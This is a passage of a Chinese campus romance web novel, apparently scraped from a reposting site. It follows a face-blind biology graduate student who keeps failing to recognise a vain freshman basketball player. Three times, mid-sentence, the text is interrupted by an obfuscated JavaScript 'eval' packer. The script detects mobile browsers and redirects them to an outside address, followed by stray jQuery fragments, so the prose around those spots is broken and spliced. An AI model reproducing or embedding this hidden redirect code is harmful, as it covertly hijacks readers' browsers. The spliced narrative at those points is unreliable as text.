《你是很帅,但我脸盲》 1. 初遇 《不见钟情》 念向南归/文 晋江文学城 - 九月底,京市正入秋。 傍晚五点,未褪的热浪从窄小的宿舍窗外阵阵袭来,裹挟着操场鼎沸的人声。金书玉起身,正准备关窗开空调。 一颗脑袋从身后冒出,钱乐乐凑过来往下瞅,“书玉,去操场不?我看好像有人在比赛,咱们也下去凑凑热闹呗。” 看了一眼散在桌上未读完的教材,金书玉本想拒绝,钱乐乐捉着她的手腕晃啊晃,“好啦大学霸,劳逸结合懂不?一天闷在屋子里像什么话。” 金书玉没遭住她的劝哄,头刚点下,人就被拽出了宿舍楼。 “我还没拿……” “哎呀啥也不用带,一会儿就回去吃饭了。” 好像也是。 金书玉跟着人进了操场。 操场上人的确不少,散步聊天玩桌游的,场中央还有足球班在上课,正如钱乐乐所说,旁侧的篮球场上的确有比赛。 金书玉瞥了一眼,球场上人头攒动,十几个男生在中央跑来跑去,四周看台人山人海,呼声一阵高过一阵,喧嚣肆意。 完全没点亮运动神经的金书玉,想不通这种一群人追着一个球跑的活动究竟有什么意思。 正准备找个角落缩着,等钱乐乐兴奋劲过了喊她回去。结果一个不察,就被连拖带拽地拉进了场内。 两人进去的时候,正好有人完成了一个帅气的三步上篮,尖叫声顿时浪潮般掀过操场。 钱乐乐也跟着兴奋挥手,“好帅啊书玉!你刚刚看到没,我的天怎么能这么帅!” “……嗯。” 她只觉得吵闹。 前排的位置已经被挤满,金书玉在看台最后排,双目无神地看着一个又一个攒动的人头。 人好多。头好晕。好想回去吹空调。 这破比赛到底什么时候结束。 或许是她的念想被上天听到,在第不知道几次看着篮球框走神的时候,裁判一声哨响,胜负已分。 金书玉舒了一口气。 正准备起身,却被钱乐乐拉住了,指着球场正中的瘦高个儿:“那个,那个高高帅帅的男生,看到没?在那擦汗呢,帮我去要个微信呗?” 金书玉瞄了眼球场中心,又瞥她一眼:“不去。” “哎呀我今天没洗头,不然就自己上了,帮帮忙嘛,请你喝奶茶好啵?” “……自己去。” “海底捞,待会儿兑现!” 金书玉果断起身,“等着。” 破开熙攘的人群,金书玉历经艰难,才终于走到球场边缘。 盯着一溜聚在一块儿休息的青春男大,都是篮球队的,身高体型都大差不差。金书玉顿时犯了难。刚刚钱乐乐跟她说的,是哪个来着? 不怪她分不清人,实在是金书玉从小就有个毛病,脸盲。女的看发型和配饰还大体能蒙对七八成。男的就困难了。在她眼里,男人就分为五类。年老的,年轻的,戴眼镜的,不戴眼镜的,以及她爹。 现在操场边缘十几个人,穿着同样的号码背心,同样的两只眼睛一个鼻子,一张嘴,森白整齐的牙齿都漏出来。 热汗升腾,荷尔蒙冲击挺强,要是放在以前刚进大学的时候,估计还会激动一下,现在就算了。 主要问题是,所有人在她看来几乎都长一个样。 失策。刚刚应该直接问是几号的。 金书玉仰头,钱乐乐察觉到了她的迷茫,在最后一排激动地比划。但两人之间隔着人潮鸿沟,再上去折腾一趟,实在麻烦。 钱乐乐似乎也意识到这点,换了个比划的方式,示意她挨个儿指认过去。 识别方式原始但有效,金书玉顺着一个个点过去,两人像是特.务.接头一样,终于在点到某个人的时候,钱乐乐重重点了下头。 看来是这位。 她抬脚走了过去。 与此同时。 篮板下方,宿昀正仰头灌水,一瓶矿泉水被他喝出了啤酒吹瓶的架势,喉结随之上下滑动,晶莹的水珠顺着下颌线滴落,在阳光下反射着微光。 刚拧紧瓶盖,就看见旁边的队友们朝他挤眉弄眼,口哨声此起彼伏。 宿昀顺着他们的目光回头,只见一个穿着白T和牛仔裤的高挑女生,正朝着自己款款走来。 人群挤得厉害,她脸上泛着浅浅的红,在周围一圈臭汗淋漓的男生堆里,像一股清流。 宿昀挑了下眉,极其自然地抬手抓了把汗湿的头发,露出那张无可挑剔的帅脸。他挺直脊背,眼睛亮晶晶的,甚至在对方走近时,还顺手把擦汗的毛巾挂在肩头,凹出了一个近似杂志硬照的站位。 可惜对面的视线压根没往他脸上落。 金书玉微微拧眉,似乎在辨认什么,甚至还回头往看台上望了一眼。 宿昀:? 这反应怎么跟他预想的不太一样? “同学你好。”金书玉开口了,语气十分平静,“我舍友托我来问,可以加个微信吗?” 在一众起哄声中,宿昀姿态从容地掏出手机,扬起下巴,一副纡尊降贵的模样:“行吧,你扫我。” 他压根没理会那所谓的“舍友”,只是垂眸盯着面前的女生,想看看她准备怎么继续演这出“无中生友”的戏。 金书玉下意识伸手摸兜。 空的。 嘶,刚刚忘记拿手机下来了。 表情顿时有些僵硬。 “抱歉,我没带手机。”两手空空的金书玉一脸坦然。 宿昀嘴角的弧度僵了一瞬。 没带手机?这年头谁出门不带手机? 金书玉倒没多想,转头找旁边的人借了支笔。转身回头的瞬间,被身边的人推搡了一下,脚下一个不稳,身体往后仰倒。 宿昀眼疾手快想去扶,金书玉脚下却巧妙地一转,立刻稳住重心,最终上半身只轻微地晃了晃,随即站定。 漂亮! 看她一套反应行云流水,宿昀心里暗赞。 因着这么一遭,两人距离拉近了些,宿昀甚至能嗅到她周身若有似无的清冽气息。 不同于平日里会接触到的甜腻的香水味,她身上传来的是一种更近似于衣服洗净以后的皂香,混着秋日的尘凉,蛮别致的味道。 他还没来得及细想这到底是什么味道,金书玉已经捏着笔,摊开手心,作势要记:“可以直接告诉我号码吗?我转告她。” 宿昀眉头微扬,这下是真的觉得有意思了。 在这个连扫码加好友都嫌慢的时代,她居然要玩手写? 是真没带手机,还是欲擒故纵? 存心想逗逗这个看起来有点呆的学姐,宿昀手指跟着手机在指尖转了一圈,顺势把屏幕熄灭,重新揣回兜里。 他抱着双臂微微俯身,声音也跟着压低了一点:“学姐,你这看起来没什么诚意啊,不加了。” 戳在掌心的笔尖一顿,金书玉抬头,看了他一眼,“好,打扰了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469520|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后,动作利落地把笔还给旁边的人,转身就走。 宿昀:……? 按照常理,这时候难道不应该再解释两句吗? 视线追着那道背影离开,只见金书玉破开人山人海,回到看台最顶端。 然后她低下头,跟一个短发女生嘀咕了几句。那个短发女生看起来很激动,朝自己这边比划了一阵,之后递给她一个手机。 还真没带手机啊。 宿昀心下了然,收回视线,理了理球衣,重新凹了个造型,角度比刚才更加完美。 这次应该没别的理由了吧。 她走过来了。走近了,三步,两步,一步。 她……绕过去了。 金书玉一路走来,甚至连个眼神都没分给宿昀,直愣愣地和他擦肩而过,停在了身后的徐添面前。 语气诚恳:“同学你好,我舍友很喜欢你,托我来问能否加个微信?” 宿昀:??? 徐添愣住了,古铜色的脸上竟然透出一抹红,下意识扭头看向宿昀。 宿昀咳了一声,忍不住道:“喂,我在这儿。” 金书玉闻声扭头,看向宿昀,在看清他球衣号码后,眼里了然,这不是刚才和她说话那位嘛。 她微微一笑,礼貌却疏离:“抱歉,刚才认错人了。” 认错人……了? 说完,她又看向徐添,手机二维码已经调出来:“可以么?” 徐添看看她,又扭头看看宿昀,纠结不过半秒,最后朝宿昀做了个“兄弟对不住了”的口型,红着脸,扫了码。 任务完成,金书玉关了手机,“谢谢。” “不……不用谢学姐。啊不对,应该叫学姐吧?” “嗯。” “那个,学姐怎么称呼?什么专业的呀,怎么过来看我们新生打比赛?” 金书玉已经有些不耐,挑着回答,“生物,路过。” 徐添还想再问,金书玉却已经朝看台后方打了个手势,随意敷衍两句,抬脚就走。 宿昀一直僵在原地,视野里只剩下那截清瘦挺拔的背影慢慢远去,透着股说不出的冷锐。 “宿昀,好兄弟,你是真能处!” 徐添抱着手机,笑得像个中了彩票的二傻子。那张常年风吹日晒、额头上还倔强地顶着两颗红肿青春痘的脸上,笑容灿烂得只让宿昀觉得扎眼。 他低头看了看自己。 为了今天的比赛,早上起来,他特意抓了发型,改了裤长和上衣的宽度,还换了限量版的球鞋。 结果,愣是没比得上这个头发乱糟糟、球衣松松垮垮挂在身上的徐添? 旁边还不愿离去的的几个女生正凑在一起偷瞄着这边,窃窃私语,隐约能听到“宿昀好帅啊”“对对好好看”之类的赞叹。 虽然早已听厌,但换作平时,他大概会礼貌性地回一个恰到好处的微笑。 可现在,呵呵。 宿昀想起方才那一幕,嘴角不自觉地抽动一下。 活了十九年,他还是头一回被人当空气。 好,好,好得很! 队友从身后拍他肩膀,嗓音大剌剌的:“宿昀,看什么呢?人都走没影了,走了吃饭去!” 宿昀回过神,五指扣住怀里的篮球,再瞪了已经只剩空气的门口一眼,语气咬牙切齿且一字一顿,“没看什么。” 另一边的金书玉压根不知身后的官司。出了球场,把手机往钱乐乐怀里一扔,两手空空,疏疏朗朗地走开了。 2. 再遇 才踏出球场,金书玉的智能手环便嗡嗡震动,她随手点了一个自动回复,说手机不在身边,手环这才消停下来。 顾不上钱乐乐,她脚步匆匆,头也不回,“你去吃饭吧,导师喊我,先去趟实验室。” “哎!那海底捞呢?” “先欠着。” 回宿舍拎上包,等着电梯的时候,金书玉翻出手机,挨个儿回复消息。 平时手机一整天都没几条动静,跟被开除了人籍似的。这会儿倒好,下去看人打了半小时球,绿色软件的角标就飙到了惊人的99+。 她挑着几个催得紧的回了,剩下那些看着不太熟、能拖就拖的,统一塞进了免打扰。红点清空,整个世界都清爽了。 清完消息,电梯也到了,金书玉关了手机,往实验室赶去。 走上三楼,一号实验室外间的门大敞着,隔着好几米远,金书玉就听到里面传来的朗声唱祷。 “神啊,上帝,佛祖,还有真主在上,信女愿吃三天素食,保佑我跑细胞一次性成型,能不能毕业在此一举了!” 身穿白大褂的师姐对着尚未开机的流式细胞仪躬身唱念,手举三根没点燃的清香,绕着实验室四面作揖,虔诚祈祷。 金书玉走进去的时候,师姐刚好拜到她面前。 师姐:“……” 金书玉:“……” 金书玉默默退开半步。 忍了忍,金书玉还是开口:“那个,师姐,上帝应该不用烧香。” 师姐摆摆手:“你不懂,这叫本土特色,上帝来了也得入乡随俗。” 金书玉:“……行。” 笑着摇摇头,金书玉绕开师姐,进入门后的净区。 消毒杀菌换好防护服后,又重新绕了出来,从培养箱里拿出贴着标签的培养皿,小心地端到超净台前,给细胞换液。 见细胞状态良好,金书玉稍微松口气,给处理完香的师姐腾出位置,自己摘下手套口罩出了门,敲开了导师的办公室。 导师姓林,是个上点年纪的女性,头发半白,很有资历。 她单手搭在椅子扶手上,表情威严,面前正坐着两个战战兢兢的学弟学妹,年纪很轻,看上去应该是本科低年级的,此时双手都规矩地并拢在双.腿间,耸眉搭眼,大气不敢出。 见到金书玉进门,林导冷凝的表情总算缓和了几分。 扬扬手把两人轰出去,学弟学妹当即如蒙大赦,感激地看了金书玉一眼,小步快跑溜走了。 “小金啊,过来坐。” 金书玉走过去,规矩地坐下。 “这两个小孩,都大二了,还不清楚操作之前的消毒程序,他们知不知道任何一点外界细菌的接触,都会让培养箱里的细胞毁于一旦……” 林导显然被气得不轻,嘀嘀咕咕独自念叨了许久。金书玉面上认真听着,思绪却早已飘到面前摊开的资料上,百无聊赖地默数起页数。 在数到第一百四十五页的时候,林导终于截住了话头,喝了口水,面容和蔼地朝她开口:“对了小金,这次喊你过来呢,主要是有个项目……” 车轱辘话翻来覆去说了三四圈,金书玉顺了一遍之后,大概明白了是个什么事。 简而言之,林导申报了一个国家的肿瘤靶向药项目,现在申请已经成功。但后续的实验推进和临床需要更多人参与配合,现在便是在问金书玉每周能抽出几天来干活。 说完,像是生怕她推脱,林导还着重强调:“老师自然不会让你们白干的,劳务都照正常流程走。” 听到正常流程走劳务,金书玉无声地扯了扯嘴角。 不是她嫌弃这三瓜俩枣,实在是研究生这职业,已经是跳出三界之外,不在五险之中。发工资的时候说还是学生,按照时薪二十计算,出门旅游吃饭的时候又说,研究生不是学生,没有优惠。总之上不沾打工人的福利,下不接学生党的实惠,吊在中间,不上不下。 但这些腹诽也只能烂在肚子里。金书玉面上不动声色,意思意思报了课比较少的两天,说自己尽量来帮忙。 林导听她能空出两天,还算满意,又额外嘘寒问暖了一阵,问她研究生刚入学是否习惯,有没有其他需要之类的场面话。 金书玉还没吃晚饭,耐着性子听到现在已经有点烦躁了,却依旧好声好气地:“都挺好的老师。” 然后朝窗外擦黑的天色瞄了一眼,相当生硬地转移话题:“您吃晚饭了么?” 这话一出,林导愣了一下,随即看了眼窗外,才发现路灯已经次第亮起。她失笑地挥挥手:“行行行,不耽误你吃饭了,快去吧。” 金书玉应了一声,起身离开。 心思早已奔向食堂,金书玉脚步飞快,路过一号实验室时,却还是被师姐喊住了。 “小金,下周三晚上你有空不?” 金书玉很想说没空,但没等她接话,师姐便继续道:“有个师妹请我给新生进行经验指导讲座,但我这马上就要预答辩了,哪有空去。你看要是有空的话,帮个忙呗。” 金书玉本来就不喜欢人多的场合,一听到讲座就头疼,为难道:“这……他们请了师姐,我去会不会不大好?” “哪有的事,给劳务呢,我是实在忙不过来了。分享会就一小时,算一整天的劳务,一百五十块。哎呀,既然你有时间,就帮帮我嘛。” 看师姐这架势,自己不应怕是一时半会儿难以脱身,金书玉果断点头,“行,具体时间地点。” 师姐满意了:“周三晚上七点,生地楼108。” “好。” 来一趟实验室,莫名其妙给自己揽了两个活儿,本就沉重的学业负担越发雪上加霜。金书玉只感觉自己脑袋疼,边按着太阳穴边走出门。 出门时,天色已经擦黑,金书玉正计算着走到哪个食堂路程最短,一抬头,就见钱乐乐和她的绿色小电驴一起蹲在门口,正朝她兴奋招手。 “走走走海底捞,刚买的券,现在过去打折呢!先吃点这个垫垫!”钱乐乐激动地凑过来,往她手里塞了块稻香村的枣泥糕。 糕点渣顺着指缝扑簌簌的掉,金书玉咬了一口,熟悉的中式糕点味道,不算甜但挺管饱。 见钱乐乐也往自己嘴里塞了一块,金书玉鼓着腮帮:“你也没吃?” “当然了!说好的今晚兑现,咱可从不食言,走走走。” 胡乱拍了两下手,把手心的碎屑拍掉,钱乐乐推着金书玉,安顿在自己后座,把手一拧,小电驴嗖地蹿了出去。 晚风拂过脸颊,金书玉紧绷的神经终于慢慢放松下来。 两人前往最近的商场。但因为没有提前预约,海底捞门口已经排满了人,大多是和她们相似的大学生。 钱乐乐取了个号,一听前面还有十几桌,脸顿时垮了下来。金书玉见状,从旁边拎了一杯热奶茶塞她手里。 “来都来了,慢慢等吧。” 着急也没办法,钱乐乐认了。耷拉着脑袋坐在木椅上,嘬着奶茶,手指有一搭没一搭地戳着手机屏回消息。 “这小子,怎么总问我做实验累不累?我一个律所当牛马的怎么知道?”钱乐乐瞅着手机屏纳闷。 金书玉瞟了一眼她的手机屏,见到备注【183大一体育生】,顿时知道是怎么回事了。 “他之前问了我专业,估计把加微信的人当成我了吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469521|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来这么回事。 钱乐乐点头,和徐添说明情况,对方纠结了一会儿,倒也接受了。但还是拐着弯儿地示意钱乐乐发照片。 金书玉瞅见他们的聊天记录,登时乐了:“你们俩人宿舍直线距离不到两百米,还搞起网恋这一套。” 听她这形容,钱乐乐也笑出声,“我认识他他不认识我,的确有意思。” 徐添又发了一条消息。 金书玉用肩膀拱拱钱乐乐的手臂:“呐,人家都这么着急了,不爆个照吗大美女。” 钱乐乐眼珠一转,干脆收起了手机,“看姐们给他上点难度。反正嘛……有缘自会相见。” 有缘自会相见,这话还真说对了。 至少宿昀在看到那个熟悉的身影时,心里确实是这么想的。 方才他们一行人打完球,忽悠着徐添这个中了头奖的幸运儿请客。 一群人浩浩荡荡杀到了商场,坐着电梯上楼,领头的正是宿昀,正低头看着手机。 他刚换了件干净的黑色连帽衫,头发还没全干,带着股清爽的柠檬香,在一众不修边幅的糙学生中间,倒是格外出众。 还没进店,徐添忽然“咦”了一声:“宿昀,那不是下午那个学姐吗?” 因着下午的事,宿昀现在一听到“学姐”这个称呼就头大。 本不打算理会,徐添却扯了扯他的衣袖,宿昀只好从手机上抬头,顺着他手指的方向看过去。 钱乐乐打扮时尚靓丽,正低头戳着手机。但宿昀的目光却径直越过了她,落在旁边的人身上。 金书玉安安静静地坐在那里,脊背挺直,正低头看着手机,神情专注且平和,仿佛周围的热闹跟她毫无关系。 宿昀脚步一顿。 倒是没想到这么快又碰上了。 真是。 冤家路窄。 “哎呀,学姐她们好像还在等小桌,咱们的大桌号都到了。”徐添在一旁搓着手,话语间都是明示,一脸想上又不敢上的怂样。 宿昀扫了一眼她们手里的号,98号。按照现在的叫号速度,她们至少得坐半小时。 他伸手把徐添手里的预约单抽了过来。 徐添一愣:“啊?你做啥去?” “做个好事。” 把手里的水瓶往徐添怀里一塞,宿昀理了理理了理连帽衫下摆,穿过人群,最终在金书玉面前站定。 金书玉正按着倍速看视频,忽然感觉头顶光线变暗,随后眼前降下一道阴影。 她慢吞吞地抬起头。 宿昀原本正居高临下地打量着她,见她抬头,便敛去了自己原本有些锋锐的表情,换上一副阳光无害的笑容,甚至还微微弯下腰,平视金书玉的眼睛。 “学姐,”男生声音清透,带着一点恰到好处的熟稔,“看你们这儿排队起码还得半小时,我们那边订了大桌,刚好空出几个位子,要不要一起?” 见金书玉眼里闪过一丝疑惑,宿昀赶在她开口拒绝前,指了指不远处的徐添,笑着补充道: “刚才我朋友还说呢,你下午帮人加了微信也没个后续,非要找个机会当面聊聊。现在刚好碰上了,学姐要不给个面子?” 他特意把“面子”两个字咬得很重,调侃之余,能听出几分极细微的挑衅。 钱乐乐在一旁眼睛都直了,嘴里的奶茶很艰难地咽下去,正疯狂用胳膊肘捅金书玉。 金书玉盯着这张近在咫尺的脸,慢慢放下了手机,语气依旧礼貌,却透着明显的迷茫。 “谢谢这位同学,不过请问……你是下午的7号,还是11号?” 其实是9号的宿昀:“……” 3. 在意 两人大眼瞪小眼,场面一度十分僵硬。 金书玉眨了下眼,见他没吭声,又低头看手机去了。 围观全程的钱乐乐在一旁坐立难安。好在海底捞员工尽职尽责,扯着嗓子喊了声“A98号”。钱乐乐当即如蒙大赦,一把扯起金书玉就往里走。 “那个,今天我请她,就不和你们一起了啊,你们吃好喝好哈哈!” 路过宿昀身后时,还不忘朝徐添飞快地眨了下眼。 徐添一开始还莫名其妙,在反应过来她就是钱乐乐之后,耳根顿时涨得通红。 没想到真人这么漂亮。 钱乐乐拉着金书玉,跟着服务生一路走到空座,坐了下来。 终于不用再面对尴尬场面了。 刚松了口气,她就发现这口气松早了。 几个大男生呼啦啦地走了进来,大桌就和她俩隔着一条走廊,好巧不巧,宿昀刚好坐在最外侧,腿伸直后,正好能抵到金书玉沙发的侧面。 钱乐乐:“……” 毁灭吧。 宿昀懒得管钱乐乐在想什么,视线时不时地落在和自己只隔了一条走廊的金书玉身上。 没认出他就算了,竟然一点尴尬和歉意都没有,一直在看那破手机。 手机里到底是有谁在啊? 能比他帅? 没品的家伙! 服务生拿着pad过来让他们点菜,正好挡在桌边。既然看不到人,宿昀只能收回视线,专心研究菜单。 队员们面面相觑,没人敢触他霉头,纷纷安静如鸡。只有徐添一直抱着手机,龇着个大牙傻乐。 见徐添笑一副得春心荡漾的蠢样,宿昀又不自觉地转头,看向旁边的金书玉。 此时她正拿着Pad点单,指尖在“特辣锅底”上利落地一划,从头到尾没往自己这边看哪怕一眼。 好像旁边是毫无干系的陌生人。 啧,没道理啊。 “哎,你们说,”宿昀冷不丁开口,附身凑到桌子中心,声音压得极低,表情略有些鬼祟,“我长得很大众吗?怎么会有人几次都记不住?” 正埋头炫肉的队员们愣住了,其中一个抹了把嘴,诚恳建议:“宿哥,你这脸已经够顶了,但确实长得太过标准,感觉有点像那什么自媒体网红,我感觉他们都长一个样。” 有这回事?他长得这么难认? 宿昀眉头拧成疙瘩,调出手机前置摄像头,想看看自己现在的样子到底有多没辨识度。 镜头晃动的瞬间,画面边缘意外扫到了斜后方的金书玉。 她那桌的锅已经开了,热腾腾的雾气氤氲开来,把那张清冷的脸都熏得软化了几分。 不过她显然高估了自己的吃辣能力,刚吞下一块裹满辣油的肥牛,白皙的脸颊便迅速洇开大片浅红,连带着鼻尖都染上了红意。 似乎被辣到怀疑人生,金书玉微张着嘴,小巧的舌尖不自觉地探出一截,一边急促地哈着气,一边伸出右手在脸侧拼命扇风,动作里带着一股不自知的生动和傻气。 ……还挺可爱。 宿昀盯着手机,一时间竟忘了反应,直到徐添伸手在他眼前晃了晃,笑着打趣:“真牛,我还头回见大小伙子看自己看呆了的。” “啪”地把手机扣在桌面上,宿昀心虚的同时,却面不改色:“你就羡慕兄弟帅吧。” “行行行大帅哥,赶紧吃,不然都冷了。” 被这么一打岔,宿昀也不好继续关注旁边,便也认真吃起饭来。 一群人唏哩呼噜地狂炫六百多,徐添起身前去结账,宿昀扭头一看,金书玉那桌不知何时,已经换上了另外两个人。 他收回了目光,没再说话。 趁队员们还在商量是否在商场里逛逛,宿昀借口上厕所,悄悄绕进楼下的屈臣氏。 在店员的热情推荐下,他胡乱拢了一堆新款的护肤品和彩妆工具,用个黑色的塑料袋装着,又若无其事地缩回队伍里。 有队员问起怎么去这么久,他只说厕所人多排了半天,倒也没人怀疑。 众人呼啦地来,又呼啦地走了。 - “家人们,帅出风格第一步,要先从眉形抓起,来来来抬手点一下关注,只要跟我学,保证帅出特色……” 宿昀刚洗完澡,上身只穿了一件背心,后背水珠没完全擦干,透过薄薄的衣料洇湿一片,肌肉轮廓若隐若现。 他盯着屏幕里那个修眉教程,想起昨天金书玉那句“你是7号还是11号”,牙根还是有点痒。 两次了。 第一次把他当空气,第二次直接给他换了个编号。 他就不信了,等他换个风格独特的新眉型,下次再遇上,她还能认不出来? 不过现在的问题是,这修眉刀他不知该怎么下手。 早知道上次郭女士纹眉的时候,自己就该跟着去观摩学习。现在好了,捏着刀片不敢动,生怕手一抖追悔莫及。 教程怎么说的来着? 先抬起眼皮,然后刀片向下,多次慢修…… 宿昀小心地按照步骤,一点一点地修着眉边多余的杂毛。效果还不错,眉毛整体看上去清秀了不少。 信心顿时大增,他捏起刀片,准备大干一场。 刀锋贴上眉毛的瞬间,宿舍门“哐啷”一声被推开,大嗓门瞬间炸开:“宿昀,宿昀!在不兄弟?” 宿昀手一抖。 手起刀落,眉峰瞬间被削平,整条眉毛的正中央凹下一大块。 宿昀:“……” 陈凯凑过来的时候,刚巧看到宿昀面对镜子低着头,浑身肌肉紧绷,捏着修眉刀的手臂微微颤抖。 扫了一眼台面上的美妆工具,陈凯嘻嘻笑开,“哎哟我去,你咋还在这梳妆打扮上了?怎么地,大姑娘出嫁呀……” “陈、凯。”宿昀转过头,眉眼阴沉,语调森冷,“你最好有事。” 陈凯识趣地闭嘴,而后目光一凝,停滞在宿昀的脸上。 空气凝固了三秒。 三秒后,陈凯憋不住了,爆笑出声:“哈哈哈哈哈我擦哈哈哈哈哈!楚老四你过来看这小子哈哈哈哈哈……” 刚翻出课本的楚桓闻言,戴上眼镜,朝宿昀的方向看了一眼。表情停了一瞬,随后忍不住握拳抵在唇边。 在宿昀几乎杀人的视线中,他轻咳了一下,没多做评价,又低头看书去了。 被舍友这么一打岔,宿昀也没精神继续修什么眉毛了,工具囫囵收进盒子里。 对镜撩起头发,宿昀盯着那块缺角看了又看,怎么看怎么不得劲。 像是原本一条好好的长叶被虫子啃了个缺角,还是从正中央啃的那种。 靠。 他帅气的脸! 他的一世英名! 宿昀把搭在肩上的毛巾往盆里一摔,胡乱擦了头发,爬上床,摸出手机搜索【眉毛秃了怎么办】。翻了三页全是生发水广告,气得他把手机扔到一边,把头闷在被子里。 越想越气,压根睡不着。 他只好抓起枕边的《宏观经济学》翻开,开始自我催眠。 效果显著,没翻两页,专业书就盖到脸上了。 “宿昀。”下铺传来楚桓清朗的声音,“你周三晚上有空吗?” 书的一角被掀开一条缝:“干嘛。” “我周三晚上六点有课,想找人替我去听个讲座。”楚桓顿了顿,“就一小时,七点到八点。” 宿昀懒得理会,翻个身甩开书,把头闷在被子里拱了拱:“不去,你们生物专业的讲座,我去听什么。” “学习方法嘛,一通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469522|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百通。”楚桓推了推眼镜,“而且你下学期不是要辅修生物?提前听听也没坏处。” 宿昀把书重新盖脸上:“不去。” 楚桓沉默了两秒,忽然换了个语气:“这样,你帮我录个音,思政作业我帮你写。” 被窝动了一下。 楚桓挑眉,继续加码:“写两周。” “成交。” 宿昀一骨碌翻下床,从桌上那堆乱七八糟的书里翻出两张抬头印着“帝都大学马克思主义学院”的白纸,往楚桓桌上一拍。 “谢了。” 楚桓笑骂一声“德行”,接过作业纸,把讲座信息发给他。 周三晚19:00-20:00,生地楼108。 宿昀随手存进备忘录,手机一扔,又闷回床上去了。 经管学院的课表很少管学生死活,不是五天早八,就是一整天从早上到晚,连周末都不放过。 周三早上,当宿昀七点五十从床上睁眼的时候,抬腕瞥见表盘上的数字,顿时惊醒。 三下五除二套上衣服裤子,翻身下床,两分钟洗脸漱口,抓起书包就往外冲。 路过镜子时,脚步一顿。 眉毛上那块缺口还是很明显,但没时间了。他抄起柜门上的棒球帽,帽檐一压,盖住眉心,快步出门。 等一天的课上完,宿昀已经快废了。 本想直接回宿舍蒙头大睡,打开手机,“听讲座”的提示瞬间弹出,他叹了口气,认命地朝生地楼走去。 到教室的时候,才六点出头,只有零星几个人在自习。宿昀没那个精神装好学,书包往第一排靠过道的位置一扔,压了帽子盖住脸,趴下就睡。 睡着睡着,身边传来窸窸窣窣的响动。 他不耐烦地动了动,耳边立刻有人询问:“同学,可以让我进一下吗?” 宿昀烦躁地抬头,发现面前黑压压一片人都等着进去,没好意思继续占着入口,赶紧起身让座。 墙上的挂钟即将走到七点,宿昀抬手打了个哈欠,一个高挑清丽的身影抱着资料走了进来。 哈欠当即卡在半路。 靠。 怎么会是她?! 动作比脑子更快,他一把抓起帽子扣回头顶,眉毛现在这样子,实在不太想让人看见。 等旁边最后一个女生入座,他压着帽檐凑过去,低声问:“同学,有眉笔吗?救个急。” 小姑娘稀奇地看他一眼,在他满脸期待的神情中,遗憾地摇摇头。 金书玉调整好PPT,准备开口的时候,看到的就是宿昀戴着帽子低着头,满世界找旁边人借眉笔的一幕。 借了一圈无果,宿昀闷闷地缩回座位。心想大不了整场讲座不抬头就是了。 可天不遂人愿,他刚打算龟缩过去,身后同学的笔“啪嗒”一声,掉到了他座位下。 在对方低声请求中,宿昀低头去捡,结果一个不察,帽子滑落在地。 正要伸手去捡帽子,旁边的人又忽地起身,结果跨步的动作太大,一脚踹中了帽子,可怜的棒球帽扬起一个漂亮的抛物线,飞出两三米远,稳稳地落在讲台边缘。 宿昀愣愣抬头,和站在讲台上的金书玉对上了视线。 宿昀:“……” 他能不能原地去世。 金书玉没说话,目光落在他的脸上,触及那道缺了口的眉毛后,秀丽的眉梢轻轻一挑,那双总是清冷沉静的眼睛忽地弯成了好看的月牙,唇角也跟着细微地勾起。 璨然的笑意从眼底化开,溢了满脸,这还是宿昀第一次见到她笑得这么灿烂。 脸已经丢到了外太空,但此刻宿昀已经顾不上那么多了。 现在他脑子里只有一个念头。 能让金书玉笑成这样,这眉毛秃得可真特么值! 4. 腹肌 小插曲并未打乱金书玉的节奏。她极其自然地收敛了笑意,从讲台上绕下来,弯腰捡起那顶帽子。 “同学,你的帽子。”她递过来,眼神礼貌却平淡,那种明显看陌生人的疏离感让宿昀心里有点不是滋味。 他没立刻接,身子往后一仰,手指交叉扣在脑后,盯着她的脸看了两秒。 可在那张白得近乎透明的脸上,金书玉的眼神毫无波澜,静得像一潭死水,就像在看一个普通路人。 宿昀难得地,第一次对一个人产生了真实的疑惑。 两人不说相熟,至少也是几面之缘了,这人见了他,怎么连点反应都没有? 这么僵着也不是办法,宿昀坐直了身子,伸手把帽檐勾过来,“谢谢学姐的好意。” 话听着倒是正常,但语气莫名带着点阴阳怪气。 金书玉没在意,只是客气地点了下头,便转回讲台,调试了一下话筒。 “大家好,我是生命科学学院生物医学工程方向的研究生金书玉,很荣幸今天能够来为各位进行新生讲座培训……” 声音清脆干净,字句之间毫不黏糊,就像她这个人一样,界限分明。 原来她叫金书玉。 名字倒是书香气十足,人却像块捂不热的硬玉。 他靠在椅背上,长腿散漫地支着,视线落在台上收放自如的身影上。 